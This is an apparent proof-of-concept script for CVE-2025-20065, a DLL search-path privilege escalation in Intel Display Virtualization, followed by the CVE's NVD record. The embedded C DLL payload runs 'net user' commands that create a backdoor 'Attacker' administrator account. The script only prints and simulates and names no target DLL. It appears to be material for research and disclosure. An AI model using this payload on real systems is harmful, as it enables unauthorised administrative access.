CVE-2025-20065

# CVE-2025-20065 PoC - DLL劫持演示 # 适用于Intel Display Virtualization权限提升漏洞 # 注意：此代码仅供安全研究和教育目的 import os import sys import ctypes from ctypes import wintypes # 定义Windows API kernel32 = ctypes.windll.kernel32 def create_malicious_dll(): """ 创建恶意DLL代码 在实际攻击中，攻击者会将此DLL放置在搜索路径中 """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // 恶意代码执行点 // 可在此处执行权限提升操作 MessageBox(NULL, "CVE-2025-20065 PoC", "Intel Display Virtualization DLL Hijacking", MB_OK); // 示例：创建管理员账户（实际攻击中会隐蔽执行） system("net user Attacker P@ssw0rd /add"); system("net localgroup Administrators Attacker /add"); } return TRUE; } ''' return dll_code def check_vulnerable_dll_path(): """ 检查Intel Display Virtualization的DLL搜索路径 识别可能存在漏洞的路径 """ vulnerable_paths = [ r"C:\Program Files\Intel\Display Virtualization", r"C:\Program Files (x86)\Intel\Display Virtualization", r"C:\Windows\System32", r"C:\Windows\SysWOW64", os.getcwd() ] print("[*] Checking for vulnerable DLL paths...") for path in vulnerable_paths: if os.path.exists(path): print(f"[+] Found path: {path}") # 检查目录权限 try: files = os.listdir(path) print(f" Files in directory: {len(files)}") except: print(f" [!] Cannot access directory") return vulnerable_paths def exploit_vulnerability(): """ 漏洞利用演示 模拟攻击者将恶意DLL放置在搜索路径中 """ print("[*] CVE-2025-20065 Exploitation Simulation") print("=" * 50) # 步骤1：识别漏洞路径 paths = check_vulnerable_dll_path() # 步骤2：生成恶意DLL print("\n[*] Generating malicious DLL payload...") dll_code = create_malicious_dll() print(f"[+] Malicious DLL code generated ({len(dll_code)} bytes)") # 步骤3：检查Intel Display Virtualization进程 print("\n[*] Checking for Intel Display Virtualization processes...") print("[!] Note: In real attack, would enumerate running processes") print("[!] Note: Would inject malicious DLL when vulnerable driver loads") # 步骤4：权限提升验证 print("\n[*] Verifying privilege escalation...") is_admin = ctypes.windll.shell32.IsUserAnAdmin() print(f"[*] Current user is admin: {bool(is_admin)}") print("\n[!] This is a simulation. Actual exploitation requires:") print(" 1. Local access to target system") print(" 2. Authenticated user account") print(" 3. User interaction (running vulnerable software)") print(" 4. Placing malicious DLL in search path") if __name__ == "__main__": exploit_vulnerability()

{"cve": {"id": "CVE-2025-20065", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:40.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for some Display Virtualization for Windows OS software before version 1797 within Ring 2: Device Drivers may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01303.html", "source": "[email protected]"}]}}